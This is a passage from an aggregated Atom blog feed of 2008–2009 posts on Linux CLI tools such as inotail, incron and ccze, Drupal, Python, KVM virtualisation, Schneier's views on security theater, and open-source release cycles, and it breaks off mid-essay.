&lt;li&gt;&lt;a href=&quot;http://blog.madpython.com/2009/03/06/fixing-custom-sequences-in-postgresql/&quot; rel=&quot;bookmark&quot; title=&quot;Permanent Link: Fixing custom sequences in PostgreSQL&quot;&gt;Fixing custom sequences in PostgreSQL&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://blog.madpython.com/2009/03/01/ahh-those-cool-little-cli-tools/&quot; rel=&quot;bookmark&quot; title=&quot;Permanent Link: Ahh those cool little CLI tools&amp;#8230;&quot;&gt;Ahh those cool little CLI tools&amp;#8230;&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;&lt;/p&gt;</content>
		<author>
			<name>Xavier Spriet</name>
			<uri>http://blog.madpython.com</uri>
		</author>
		<source>
			<title type="html">Mad Python</title>
			<subtitle type="html">Watch out.. he's angry</subtitle>
			<link rel="self" href="http://blog.madpython.com/feed/"/>
			<id>http://blog.madpython.com/feed/</id>
			<updated>2010-09-07T16:00:04+00:00</updated>
		</source>
	</entry>

	<entry xml:lang="en">
		<title type="html">Ahh those cool little CLI tools…</title>
		<link href="http://blog.madpython.com/2009/03/01/ahh-those-cool-little-cli-tools/"/>
		<id>http://blog.madpython.com/?p=4</id>
		<updated>2009-03-01T19:37:19+00:00</updated>
		<content type="html">&lt;p&gt;The list of Unix/Linux utilities available grows every day. Here&amp;#8217;s a little list of cherry-picked utilities i&amp;#8217;ve found myself using more and more lately&amp;#8230;&lt;/p&gt;
&lt;h4&gt;Inotail:&lt;/h4&gt;
&lt;p&gt;Inotail uses the Linux kernel&amp;#8217;s &lt;em&gt;inotify&lt;/em&gt; API, which was implemented with v2.6.13 to monitor changes to files on the filesystem. This design is more efficient than our beloved &lt;em&gt;tail&lt;/em&gt;, which relies on polling the monitored file for changes every second.  Example: To monitor in real-time syslog entries, try:&lt;/p&gt;
&lt;div class=&quot;wp_syntax&quot;&gt;&lt;div class=&quot;code&quot;&gt;&lt;pre class=&quot;bash&quot;&gt;inotail &lt;span&gt;-f&lt;/span&gt; &lt;span&gt;/&lt;/span&gt;var&lt;span&gt;/&lt;/span&gt;log&lt;span&gt;/&lt;/span&gt;messages&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;The documentation for inotail, if you need it, can be found at &lt;a href=&quot;http://distanz.ch/inotail/&quot; target=&quot;_blank&quot;&gt;http://distanz.ch/inotail/&lt;/a&gt;&lt;/p&gt;
&lt;h4&gt;Incron:&lt;/h4&gt;
&lt;p&gt;Incron is an event-scheduler similar to &lt;em&gt;cron&lt;/em&gt;, except that it is based on file-system events as opposed to our beloved time-based &lt;em&gt;cron&lt;/em&gt; daemons. It is also based on the &lt;em&gt;inotify&lt;/em&gt; subsystem, which means it is only available on Linux as far as I know.  Let&amp;#8217;s set up a quick example to demonstrate the stuff you can do with incron. We&amp;#8217;re going to install incron, and configure it to automatically create a thumbnail of any picture dropped in a specified directory using ImageMagick&amp;#8217;s &lt;em&gt;convert&lt;/em&gt; utility, on a stock Ubuntu Linux system:&lt;/p&gt;
&lt;div class=&quot;wp_syntax&quot;&gt;&lt;div class=&quot;code&quot;&gt;&lt;pre class=&quot;bash&quot;&gt;&lt;span&gt;# Package installation&lt;/span&gt;
&lt;span&gt;aptitude&lt;/span&gt; &lt;span&gt;install&lt;/span&gt; incron imagemagick
&lt;span&gt;# Add your user account to the list of allowed incron users (replace xavier by your account)&lt;/span&gt;
&lt;span&gt;sudo&lt;/span&gt; &lt;span&gt;sh&lt;/span&gt; &lt;span&gt;-c&lt;/span&gt; &lt;span&gt;&amp;quot;echo xavier &amp;gt;&amp;gt; /etc/incron.allow&amp;quot;&lt;/span&gt;
&lt;span&gt;# Create our directory structure&lt;/span&gt;
&lt;span&gt;mkdir&lt;/span&gt; &lt;span&gt;-p&lt;/span&gt; &lt;span&gt;/&lt;/span&gt;home&lt;span&gt;/&lt;/span&gt;xavier&lt;span&gt;/&lt;/span&gt;images&lt;span&gt;/&lt;/span&gt;original
&lt;span&gt;mkdir&lt;/span&gt; &lt;span&gt;/&lt;/span&gt;home&lt;span&gt;/&lt;/span&gt;xavier&lt;span&gt;/&lt;/span&gt;images&lt;span&gt;/&lt;/span&gt;thumb
&lt;span&gt;# Edit the actual incron file&lt;/span&gt;
incrontab &lt;span&gt;--edit&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;The editor will now fire up. Enter the following lines in the editor, and exit:&lt;/p&gt;
&lt;div class=&quot;wp_syntax&quot;&gt;&lt;div class=&quot;code&quot;&gt;&lt;pre class=&quot;bash&quot;&gt;&lt;span&gt;# Convert /home/xavier/images/original/test.png to /home/xavier/images/thumb/test.png&lt;/span&gt;
&lt;span&gt;/&lt;/span&gt;home&lt;span&gt;/&lt;/span&gt;xavier&lt;span&gt;/&lt;/span&gt;images&lt;span&gt;/&lt;/span&gt;original&lt;span&gt;/&lt;/span&gt;   IN_CLOSE_WRITE    convert &lt;span&gt;-thumbnail&lt;/span&gt; 320x320 $&lt;span&gt;@/&lt;/span&gt;&lt;span&gt;$#&lt;/span&gt; $&lt;span&gt;@/&lt;/span&gt;..&lt;span&gt;/&lt;/span&gt;thumb&lt;span&gt;/&lt;/span&gt;&lt;span&gt;$#&lt;/span&gt;
&lt;span&gt;# When an original is deleted, automatically clean up the associated thumbnail&lt;/span&gt;
&lt;span&gt;/&lt;/span&gt;home&lt;span&gt;/&lt;/span&gt;xavier&lt;span&gt;/&lt;/span&gt;images&lt;span&gt;/&lt;/span&gt;original&lt;span&gt;/&lt;/span&gt;   IN_DELETE    &lt;span&gt;rm&lt;/span&gt; &lt;span&gt;-rf&lt;/span&gt; $&lt;span&gt;@/&lt;/span&gt;..&lt;span&gt;/&lt;/span&gt;thumb&lt;span&gt;/&lt;/span&gt;&lt;span&gt;$#&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;We&amp;#8217;re all done. Any new image dropped in /home/xavier/images/original/ will automatically be converted into a thumbnail of the same name in /home/xavier/images/thumb/.  There are many things you can do with incron, so i suggest you check out the following links:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Incron Documentation: &lt;a href=&quot;http://inotify.aiken.cz/?section=incron&amp;amp;page=doc&amp;amp;lang=en&quot; target=&quot;_blank&quot;&gt;http://inotify.aiken.cz/?section=incron&amp;amp;page=doc&amp;amp;lang=en&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Incron FAQ: &lt;a href=&quot;http://inotify.aiken.cz/?section=incron&amp;amp;page=faq&amp;amp;lang=en&quot; target=&quot;_blank&quot;&gt;http://inotify.aiken.cz/?section=incron&amp;amp;page=faq&amp;amp;lang=en&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;inotify.h: &lt;a href=&quot;http://www.kernel.org/pub/linux/kernel/people/rml/inotify/headers/inotify.h&quot; target=&quot;_blank&quot;&gt;http://www.kernel.org/pub/linux/kernel/people/rml/inotify/headers/inotify.h&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;ccze&lt;/h4&gt;
&lt;p&gt;ccze is simply a logfile syntax highlighter for various file-formats commonly found on unix systems, such as &lt;em&gt;syslog, apache logs, dmesg&lt;/em&gt;, etc&amp;#8230;  You can have it syntax-highlight a file in your terminal by using the following syntax:&lt;/p&gt;
&lt;div class=&quot;wp_syntax&quot;&gt;&lt;div class=&quot;code&quot;&gt;&lt;pre class=&quot;bash&quot;&gt;ccze &lt;span&gt;&amp;lt;&lt;/span&gt; &lt;span&gt;/&lt;/span&gt;var&lt;span&gt;/&lt;/span&gt;log&lt;span&gt;/&lt;/span&gt;messages&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;Or you can pipe anything onto ccze to have it stream syntax-coloured output on your terminal. For example:&lt;/p&gt;
&lt;div class=&quot;wp_syntax&quot;&gt;&lt;div class=&quot;code&quot;&gt;&lt;pre class=&quot;bash&quot;&gt;inotail &lt;span&gt;-f&lt;/span&gt; &lt;span&gt;/&lt;/span&gt;var&lt;span&gt;/&lt;/span&gt;log&lt;span&gt;/&lt;/span&gt;messages &lt;span&gt;|&lt;/span&gt; ccze &lt;span&gt;-A&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;Additionally, ccze can also output syntax-coloured text in HTML. For example, the following command:&lt;/p&gt;
&lt;div class=&quot;wp_syntax&quot;&gt;&lt;div class=&quot;code&quot;&gt;&lt;pre class=&quot;bash&quot;&gt;&lt;span&gt;dmesg&lt;/span&gt; &lt;span&gt;|&lt;/span&gt; &lt;span&gt;grep&lt;/span&gt; &lt;span&gt;-i&lt;/span&gt; cpu &lt;span&gt;|&lt;/span&gt; ccze &lt;span&gt;-m&lt;/span&gt; html&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;Woud output the following document: &lt;a href=&quot;http://blog.madpython.com/wp-content/uploads/2009/03/cpu.html&quot;&gt;ccze Output&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;http://www.addtoany.com/add_to/reddit?linkurl=http%3A%2F%2Fblog.madpython.com%2F2009%2F03%2F01%2Fahh-those-cool-little-cli-tools%2F&amp;amp;linkname=Ahh%20those%20cool%20little%20CLI%20tools%26%238230%3B&quot; title=&quot;Reddit&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://blog.madpython.com/wp-content/plugins/add-to-any/icons/reddit.png&quot; width=&quot;16&quot; height=&quot;16&quot; alt=&quot;Reddit&quot; /&gt;&lt;/a&gt; &lt;a href=&quot;http://www.addtoany.com/add_to/delicious?linkurl=http%3A%2F%2Fblog.madpython.com%2F2009%2F03%2F01%2Fahh-those-cool-little-cli-tools%2F&amp;amp;linkname=Ahh%20those%20cool%20little%20CLI%20tools%26%238230%3B&quot; title=&quot;Delicious&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://blog.madpython.com/wp-content/plugins/add-to-any/icons/delicious.png&quot; width=&quot;16&quot; height=&quot;16&quot; alt=&quot;Delicious&quot; /&gt;&lt;/a&gt; &lt;a href=&quot;http://www.addtoany.com/add_to/google_bookmarks?linkurl=http%3A%2F%2Fblog.madpython.com%2F2009%2F03%2F01%2Fahh-those-cool-little-cli-tools%2F&amp;amp;linkname=Ahh%20those%20cool%20little%20CLI%20tools%26%238230%3B&quot; title=&quot;Google Bookmarks&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://blog.madpython.com/wp-content/plugins/add-to-any/icons/google.png&quot; width=&quot;16&quot; height=&quot;16&quot; alt=&quot;Google Bookmarks&quot; /&gt;&lt;/a&gt; &lt;a href=&quot;http://www.addtoany.com/add_to/facebook?linkurl=http%3A%2F%2Fblog.madpython.com%2F2009%2F03%2F01%2Fahh-those-cool-little-cli-tools%2F&amp;amp;linkname=Ahh%20those%20cool%20little%20CLI%20tools%26%238230%3B&quot; title=&quot;Facebook&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://blog.madpython.com/wp-content/plugins/add-to-any/icons/facebook.png&quot; width=&quot;16&quot; height=&quot;16&quot; alt=&quot;Facebook&quot; /&gt;&lt;/a&gt; &lt;a href=&quot;http://www.addtoany.com/add_to/google_buzz?linkurl=http%3A%2F%2Fblog.madpython.com%2F2009%2F03%2F01%2Fahh-those-cool-little-cli-tools%2F&amp;amp;linkname=Ahh%20those%20cool%20little%20CLI%20tools%26%238230%3B&quot; title=&quot;Google Buzz&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://blog.madpython.com/wp-content/plugins/add-to-any/icons/google_buzz.png&quot; width=&quot;16&quot; height=&quot;16&quot; alt=&quot;Google Buzz&quot; /&gt;&lt;/a&gt; &lt;a href=&quot;http://www.addtoany.com/add_to/stumbleupon?linkurl=http%3A%2F%2Fblog.madpython.com%2F2009%2F03%2F01%2Fahh-those-cool-little-cli-tools%2F&amp;amp;linkname=Ahh%20those%20cool%20little%20CLI%20tools%26%238230%3B&quot; title=&quot;StumbleUpon&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://blog.madpython.com/wp-content/plugins/add-to-any/icons/stumbleupon.png&quot; width=&quot;16&quot; height=&quot;16&quot; alt=&quot;StumbleUpon&quot; /&gt;&lt;/a&gt; &lt;a href=&quot;http://www.addtoany.com/add_to/linkedin?linkurl=http%3A%2F%2Fblog.madpython.com%2F2009%2F03%2F01%2Fahh-those-cool-little-cli-tools%2F&amp;amp;linkname=Ahh%20those%20cool%20little%20CLI%20tools%26%238230%3B&quot; title=&quot;LinkedIn&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://blog.madpython.com/wp-content/plugins/add-to-any/icons/linkedin.png&quot; width=&quot;16&quot; height=&quot;16&quot; alt=&quot;LinkedIn&quot; /&gt;&lt;/a&gt; &lt;a href=&quot;http://www.addtoany.com/add_to/twitter?linkurl=http%3A%2F%2Fblog.madpython.com%2F2009%2F03%2F01%2Fahh-those-cool-little-cli-tools%2F&amp;amp;linkname=Ahh%20those%20cool%20little%20CLI%20tools%26%238230%3B&quot; title=&quot;Twitter&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://blog.madpython.com/wp-content/plugins/add-to-any/icons/twitter.png&quot; width=&quot;16&quot; height=&quot;16&quot; alt=&quot;Twitter&quot; /&gt;&lt;/a&gt; &lt;a class=&quot;a2a_dd addtoany_share_save&quot; href=&quot;http://www.addtoany.com/share_save&quot;&gt;Share&lt;/a&gt; &lt;/p&gt;
&lt;p&gt;Related posts:&lt;ol&gt;&lt;li&gt;&lt;a href=&quot;http://blog.madpython.com/2009/03/07/extending-postgresql-with-python/&quot; rel=&quot;bookmark&quot; title=&quot;Permanent Link: Extending PostgreSQL with Python&quot;&gt;Extending PostgreSQL with Python&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://blog.madpython.com/2009/03/06/fixing-custom-sequences-in-postgresql/&quot; rel=&quot;bookmark&quot; title=&quot;Permanent Link: Fixing custom sequences in PostgreSQL&quot;&gt;Fixing custom sequences in PostgreSQL&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://blog.madpython.com/2009/03/02/apache2-shortcuts/&quot; rel=&quot;bookmark&quot; title=&quot;Permanent Link: Apache2 shortcuts&quot;&gt;Apache2 shortcuts&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;&lt;/p&gt;</content>
		<author>
			<name>Xavier Spriet</name>
			<uri>http://blog.madpython.com</uri>
		</author>
		<source>
			<title type="html">Mad Python</title>
			<subtitle type="html">Watch out.. he's angry</subtitle>
			<link rel="self" href="http://blog.madpython.com/feed/"/>
			<id>http://blog.madpython.com/feed/</id>
			<updated>2010-09-07T16:00:04+00:00</updated>
		</source>
	</entry>

	<entry xml:lang="en">
		<title type="html">Using a Wysiwyg Input</title>
		<link href="http://blog.free.draisey.ca/node/82"/>
		<id>http://blog.free.draisey.ca/82 at http://blog.free.draisey.ca</id>
		<updated>2009-02-23T04:41:00+00:00</updated>
		<content type="html">This is my first post using a wysiwyg editor through drupal.&amp;nbsp; All my previous attempts to use &lt;a href=&quot;http://drupal.org/project/wysiwyg/&quot;&gt;wysiwyg&lt;/a&gt; have been &lt;span&gt;horrible&lt;/span&gt; so I have never tried it on this blog, but the new &lt;span&gt;wysiwyg API&lt;/span&gt; fro &lt;a href=&quot;http://drupal.org/&quot;&gt;drupal&lt;/a&gt; is a very good first step to getting things working better.</content>
		<author>
			<name>Matt Draisey</name>
			<uri>http://blog.free.draisey.ca</uri>
		</author>
		<source>
			<title type="html">Matt's Blog</title>
			<link rel="self" href="http://blog.free.draisey.ca/rss.xml"/>
			<id>http://blog.free.draisey.ca/rss.xml</id>
			<updated>2010-09-07T19:00:04+00:00</updated>
		</source>
	</entry>

	<entry xml:lang="en">
		<title type="html">Python: Language of the Year</title>
		<link href="http://www.allthingsexpounded.com/2009/02/python-language-of-the-year/"/>
		<id>http://www.allthingsexpounded.com/?p=322</id>
		<updated>2009-02-13T22:35:21+00:00</updated>
		<content type="html">&lt;p&gt;Linux Questions.org has declared Python &lt;a href=&quot;http://www.linuxquestions.org/questions/2008-linuxquestions.org-members-choice-awards-83/programming-language-of-the-year-695662/&quot; target=&quot;_self&quot;&gt;the programming language of the year&lt;/a&gt; for the second year in a row.  The vast majority of people don&amp;#8217;t care, but us Python programmers cheer.&lt;/p&gt;</content>
		<author>
			<name>Mark J. Nenadov</name>
			<uri>http://www.allthingsexpounded.com</uri>
		</author>
		<source>
			<title type="html">All Things Expounded » Technology</title>
			<subtitle type="html">A verbose experiment in blogness (if you want to deride it, call it AllThingsConfounded).</subtitle>
			<link rel="self" href="http://www.allthingsexpounded.com/category/technology/feed/"/>
			<id>http://www.allthingsexpounded.com/category/technology/feed/</id>
			<updated>2010-08-09T17:00:03+00:00</updated>
		</source>
	</entry>

	<entry xml:lang="en">
		<title type="html">KVM.  Ushering In the Latest in 1960s Technology</title>
		<link href="http://blog.free.draisey.ca/node/81"/>
		<id>http://blog.free.draisey.ca/81 at http://blog.free.draisey.ca</id>
		<updated>2009-01-22T18:15:41+00:00</updated>
		<content type="html">&lt;p&gt;So, it looks like I will be a guinea pig for a new KVM virtual machine to supplant my current LVM one (a pity really as I quite approve of the LVM design); KVM being virtualization at the processor level for the newest generation of AMD and Intel processors.  Presumambly this should make better use of the processors virtual addressing hardware and so improve performance.  LVM is a clever hack that runs at a much higher level as an ordinary user space programme on a linux kernel with only a smattering of kernel support and no processor support at all.  It was hatched at a time when 386 style processors couldn&amp;#039;t virtualize themselves (i.e. before a year ago).  The 386 processors really are an awful design.  All IBM processors have been self virtualizable for 40 years at least.  Every other  processor contemporary with the 386 that were complex enough to incorporate virtual addressing hardware have been otherwise simple enough to self-virtualize.  But the 386 is such a baroque mess that it has stood alone in preserving 1970s microprocessor limitations into the third millenium.  This is the only CPU that makes the rest of the PC design look good in comparison.  Intel processors, PC computers and Windows operating systems.  They are well matched in how awful they are.  You have to wonder what computers would be like today if the best designs had flourished instead of the worst.&lt;br /&gt;
&amp;lt;!--break--&amp;gt;&lt;/p&gt;</content>
		<author>
			<name>Matt Draisey</name>
			<uri>http://blog.free.draisey.ca</uri>
		</author>
		<source>
			<title type="html">Matt's Blog</title>
			<link rel="self" href="http://blog.free.draisey.ca/rss.xml"/>
			<id>http://blog.free.draisey.ca/rss.xml</id>
			<updated>2010-09-07T19:00:04+00:00</updated>
		</source>
	</entry>

	<entry xml:lang="en">
		<title type="html">Security 101: Refuse To Be Terrorized</title>
		<link href="http://www.allthingsexpounded.com/2009/01/security-101-refuse-to-be-terrorized/"/>
		<id>http://www.allthingsexpounded.com/?p=67</id>
		<updated>2009-01-15T17:12:11+00:00</updated>
		<content type="html">&lt;p&gt;Recently the Cato Institute Podcast did a &lt;a href=&quot;http://www.cato.org/dailypodcast/podcast-archive.php?podcast_id=812&quot; target=&quot;_self&quot;&gt;short interview&lt;/a&gt; with technologist and security expert &lt;a href=&quot;http://www.schneier.com/&quot; target=&quot;_self&quot;&gt;Bruce Schneier&lt;/a&gt;.   Bruce&amp;#8217;s first bestseller and most prominent book was &lt;em&gt;Applied Crytography&lt;/em&gt;, and he&amp;#8217;s probably become the foremost expert on security, especially computer security. Bruce has been doing a lot to get people to take a more realistic and effective approach to security. He is really good at dispelling common misunderstandings and has done a lot to promote a healthy response to terrorism and other threats.&lt;/p&gt;
&lt;p&gt;One of the best things Bruce has done is exposing &lt;a href=&quot;http://en.wikipedia.org/wiki/Security_theater&quot; target=&quot;_self&quot;&gt;security theater&lt;/a&gt; for what it is, an ineffective response and a waste of money. Bruce also communicates that most things in the news are so &amp;#8216;exceptional&amp;#8217;  that they generally are not the things we should be REALLY worrying about. The news media so often plays the role of &amp;#8220;working up fear&amp;#8221;.  Simply put, we become pliable when we fear things. For an interesting quote that outlines how economic fear is used to generate servitude, see Bruce&amp;#8217;s most recent blog post, &lt;a title=&quot;Economic Distress and Fear&quot; href=&quot;http://www.schneier.com/blog/archives/2009/01/economic_distre.html&quot; target=&quot;_self&quot;&gt;Economic Distress and Fear&lt;br /&gt;
&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Going back to 2006, Bruce wrote the following in an article called &lt;a href=&quot;http://www.schneier.com/essay-124.html&quot; target=&quot;_self&quot;&gt;Refuse To Be Terrorized&lt;/a&gt; for Wired News:&lt;/p&gt;
&lt;blockquote&gt;&lt;p&gt;The surest defense against terrorism is to refuse to be terrorized. Our job is to recognize that terrorism is just one of the risks we face, and not a particularly common one at that. And our job is to fight those politicians who use fear as an excuse to take away our liberties and promote security theater that wastes money and doesn&amp;#8217;t make us any safer.&lt;/p&gt;&lt;/blockquote&gt;
&lt;p&gt;Whether or not you agree with Bruce on every single point, I think everyone would do well to interact with his advice about security. If this interests you, I suggest you take some time to peruse his blog and articles. His stuff is really thoughtful and I think it presents a good analysis of how security measures are best carried out. And his perspective is really in line with lessons which have been long learned within the cyber/computer security communities. Responding to &amp;#8220;new threats&amp;#8221; is something computer security experts have been doing for a long time.&lt;/p&gt;
&lt;p&gt;I think it is often forgotten that one of the explicit strategies of most terrorists lies in provoking certain responses. Tactically, most of the benefit in terrorism for terrorist groups does not lie in the &amp;#8220;payload&amp;#8221;,  but what happens after the &amp;#8220;payload&amp;#8221;. If terrorism were just a matter of inflicting wounds, it would be a pretty futile endeavor. In terms of death tolls, as horrific they may be, they are actually quite small. Especially when compared with more &amp;#8220;run of the mill&amp;#8221;  threats to our lives.  We are far more likely to die from hundreds of other things,  but the thing about terrorism is that it gets right to our psyche, and intimidates us in ways that other things (car crashes, for instance) can&amp;#8217;t. The devious and calculated nature of it gets to us.  Terrorism is a means to an end, an there are other more subtle and yet more important things (besides causing carnage) that terrorists gain from what they do.&lt;/p&gt;
&lt;p&gt;In the aforementioned article, Bruce continues to outline how terrorists gain boldness through our reaction:&lt;/p&gt;
&lt;blockquote&gt;&lt;p&gt;Our politicians help the terrorists every time they use fear as a campaign tactic. The press helps every time it writes scare stories about the plot and the threat. And if we&amp;#8217;re terrified, and we share that fear, we help. All of these actions intensify and repeat the terrorists&amp;#8217; actions, and increase the effects of their terror.&lt;/p&gt;&lt;/blockquote&gt;
&lt;p&gt;So, in planning a response to terrorism, people can&amp;#8217;t let fear or panic guide them. Unless of course they wish to become more vulnerable.  Fearful and panicky people are rarely secure.   And so it is important to contextualize terrorism. Sure, we can come to grips the severity of the threat and the way it has impacted peoples lives, but it needs to be contextualized.  It is one of many threats, and perhaps not even the one that is most immanent in most Westerner&amp;#8217;s lives.   I think the mania and rhetoric about this being a totally unique circumstance and people needing to be willing to give up liberties for the struggle is considerably overblown. And Schneier&amp;#8217;s security-oriented analysis really shows how the typical response to terrorism (especially &amp;#8217;security theater&amp;#8217;) is not even good for us in a utilitarian way.&lt;/p&gt;</content>
		<author>
			<name>Mark J. Nenadov</name>
			<uri>http://www.allthingsexpounded.com</uri>
		</author>
		<source>
			<title type="html">All Things Expounded » Technology</title>
			<subtitle type="html">A verbose experiment in blogness (if you want to deride it, call it AllThingsConfounded).</subtitle>
			<link rel="self" href="http://www.allthingsexpounded.com/category/technology/feed/"/>
			<id>http://www.allthingsexpounded.com/category/technology/feed/</id>
			<updated>2010-08-09T17:00:03+00:00</updated>
		</source>
	</entry>

	<entry xml:lang="en">
		<title type="html">The new computer</title>
		<link href="http://blog.free.draisey.ca/node/72"/>
		<id>http://blog.free.draisey.ca/72 at http://blog.free.draisey.ca</id>
		<updated>2008-12-20T05:40:31+00:00</updated>
		<content type="html">&lt;p&gt;Well I getting the new computer going.  I didn&amp;#039;t do a straight migration from the old machine as I had been planning.  The new machine (a dell Vostro 220) needs a fairly new kernel and I just didn&amp;#039;t feel like debootstrapping from a live CD.  That was my original plan, but it was looking to be such a pain, and wouldn&amp;#039;t work with the CD&amp;#039;s I had burned, and I could get started with a Lenny netinst CD almost right away and let the thing run overnight without supervision.&lt;/p&gt;
&lt;p&gt;Of course now I have a load of work getting things straight so a night saved wasn&amp;#039;t such a great economy.  Copying over the home directory was easy enough but I still haven&amp;#039;t got all the dpkg selections from the old machine downloaded yet.  My download speeds are lousy.  I am installing software piecemeal.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;http://blog.free.draisey.ca/node/72&quot; target=&quot;_blank&quot;&gt;read more&lt;/a&gt;&lt;/p&gt;</content>
		<author>
			<name>Matt Draisey</name>
			<uri>http://blog.free.draisey.ca</uri>
		</author>
		<source>
			<title type="html">Matt's Blog</title>
			<link rel="self" href="http://blog.free.draisey.ca/rss.xml"/>
			<id>http://blog.free.draisey.ca/rss.xml</id>
			<updated>2010-09-07T19:00:04+00:00</updated>
		</source>
	</entry>

	<entry>
		<title type="html">The worldwide acceptance of firefox will be anti-climactic</title>
		<link href="http://nebajoth.livejournal.com/28425.html"/>
		<id>http://nebajoth.livejournal.com/28425.html</id>
		<updated>2008-11-03T16:31:30+00:00</updated>
		<content type="html">&quot;So what makes a release anti-climactic is that from a development standpoint - at least as far as I'm concerned - it is inevitably at the end of a gradual slowing down of interest. So to me a release is not so much of a birth of a new kernel version, it's more of a laying-to-rest of an old one. It's also an end to a fairly quiet period.&quot;&lt;br /&gt;&lt;br /&gt;	-- Linus Torvalds, &lt;a href=&quot;http://torvalds-family.blogspot.com/2008/10/on-making-releases.html&quot;&gt;Linus&amp;amp;apos Blog&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;I have begun with the paragraph that set me thinking about open source development acceptance in general, and the story of firefox in particular.  What follows is something that seems fascinating to me, but I am a human who waits new kernel releases of Linux with bated breath.  I confess to scanning the changelog for each release candidate and visualizing the arc of the kernel development in my mind.  I mentally assign partisan motives to individual developers with known &lt;i&gt;commercial&lt;/i&gt; affiliations, and retain an internal model for predicting where those conflicting interests will push Linux kernel development.&lt;br /&gt;&lt;br /&gt;The subject is complex enough that I'm really no better a weathervane than anyone else, and its pretty angels-dancing-on-the-head-of-a-pin, really.  So, uh, you may want to skip to the next cutesy haiku or whatever else it is I post on this here blog.&lt;br /&gt;&lt;br /&gt;Linus Torvalds lives and breathes that code in a way that I can barely wrap my head around.  As far as I understand the Linux kernel development process, he has a set of about 8-12 trusted lieutenants who manage major subsystems or otherwise logical groupings of parts of the whole kernel.  They in turn manage all the more transient contributors.  They probably delegate components of their own subsystems to other trusted lieutenants, but that's just a reasonable guess on my part.&lt;br /&gt;&lt;br /&gt;Andrew Morton, I imagine, spends his time tightening up details, while Linus is big-picture.  Noone who reads anything from Linus -- be it by lurking on the kernel mailing lists, or reading every interview -- will believe that Andrew Morton doesn't have a huge amount of influence on every part of the Linux kernel.  Google made a brilliant investment when they hired him.  When programming needs to be done, its not done by the guy who originally programmed Linux.  It's done by Morton or the lieutenants, or the mob of volunteers who are proud to swim in that sea.&lt;br /&gt;&lt;br /&gt;Linus doesn't do any programming himself anymore.  I doubt he has time, and it appears that he finds the systems engineering problems of &quot;managing humans managing the fastest developing piece of code in human history&quot; to be more interesting.  That's how we got &lt;a href=&quot;http://git.or.cz/&quot;&gt;Git&lt;/a&gt;, which is less a source code management system than it is a completely different way to interact with people on the internet.&lt;br /&gt;&lt;br /&gt;But Linus does have final say about what makes it into a particular release of the Linux kernel.  At least for the &quot;official&quot; tree.  He's a brand, a label.  He studiously keeps his interests vendor-neutral, and carefully positions himself as a &quot;vanilla&quot;(*1) distribution that can be flavored to taste.  Linus floats, all day, in the code his lieutenants sign off on and feed upstream.  Eventually everything can be judged stable, and he makes a release.  Now in the blog post he made he says &quot;to me a release is not so much of a birth of a new kernel version, it's more of a laying-to-rest of an old one.&quot;, and that's what got me thinking about this whole thing.&lt;br /&gt;&lt;br /&gt;I wanted to see if that feeling could be a generalizable statement that could be applied to all open source, and the result of my mental wanderings excited me enough that I wanted to put it up here for scrutiny and questioning.&lt;br /&gt;&lt;br /&gt;I posit that the open source &quot;world&quot;, so to speak -- being the entire ecosystem of developers associated with particular open source projects, to the consumers who use the software -- is a tree.  And that development &quot;rolls&quot; along its branches from the trunk to the tips.  I will be using Linux in my example.  The development methodology of the BSDs is different enough that I don't feel that I can make any sort of commentary about it.&lt;br /&gt;&lt;br /&gt;At the center lies the kernel.  The kernel sets the scene, provides the board on which to play the game.  The kernel rationalizes the pieces cobbled together by any human, and presents a coherent API (and ABI) to people who make... well, anything.  Now, I'm coming at this from the angle of a desktop user, so I'm going to be talking about that branch in particular.  I don't know very much about the supercomputer or cell phone branches, a little about the server and embedded branches, but not enough about any of them to give as comprehensive an overview as I can with desktop.&lt;br /&gt;&lt;br /&gt;So, the next layer would be all of userspace.  Distributions weave together all the userspace programs with the kernel, so its difficult to see the branching continue, but it continues nonetheless.  There is a desktop environment, such as Gnome or KDE (or various other alternatives).  Distributions have desktop-environment and kernel customizations that make them a branch on the tree I'm talking about, although they also serve a role as an aggregator of &quot;best of breed&quot; apps.  Then, you have powerusers who will do testing, like the gigantic community of people willing to run alphas of Ubuntu.  Then you have the mass of people who use and love STABLE Linux distributions.  Then you have newcomers and converts.  These all provide valuable feedback -- even the newest, since its their problems that point the way towards making Linux more attractive to even more new people.&lt;br /&gt;&lt;br /&gt;I would suggest that each of these, in my particular example of trunk-to-tip, is a separate undulation of the wave of development.  It's not a perfect analogy, since bugs reported by people who cannot program creates pushback, but I think its apt enough to illustrate my point until I think up a better one.&lt;br /&gt;&lt;br /&gt;Each time the software carried along the wave, and lets use firefox in particular, it gets taken up by the people who &quot;release&quot; it to the next crowd.  Gecko developers 